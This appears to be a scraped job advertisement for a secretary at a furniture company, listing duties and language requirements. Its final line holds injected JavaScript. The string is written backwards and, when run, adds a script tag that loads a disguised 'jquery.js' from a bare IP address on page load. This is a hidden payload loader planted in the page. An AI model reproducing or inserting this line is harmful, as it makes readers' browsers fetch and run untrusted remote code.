Industry : Furniture
Report to : British directors
– Maintaining diaries for directors itinerary
– Arranging appointments for the directors and senior managers
– Taking messages and handling correspondence
– Typing/word processing, filling
– Assisting with travel arrangements , flight bookings and accommodation when necessary
– Organizing meetings and taking minutes of all meetings such as HOD meeting, Sales meeting, Quality meeting etc.
– Compiling and proper filing of all meeting minutes.
– Follow ups on all meeting agendas and discussion issues
– preparing letters, presentations materials and reports for directors and senior managers
– Minimum MCE or Diploma in secretarial or any related field
– Minimum 2 years working experience in similar field
– Proficiency in English, Bahasa Malaysia and Chinese, Tamil or other languages.
– Proficiency in foreign language such as Nepalese, Bangladesh, Myammar etc will be an added advantage.
– Ability to use computer and a variety of software packages.
– Must be willing to take meeting minutes and do follow ups.
– Proficiency in presentation preparation document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))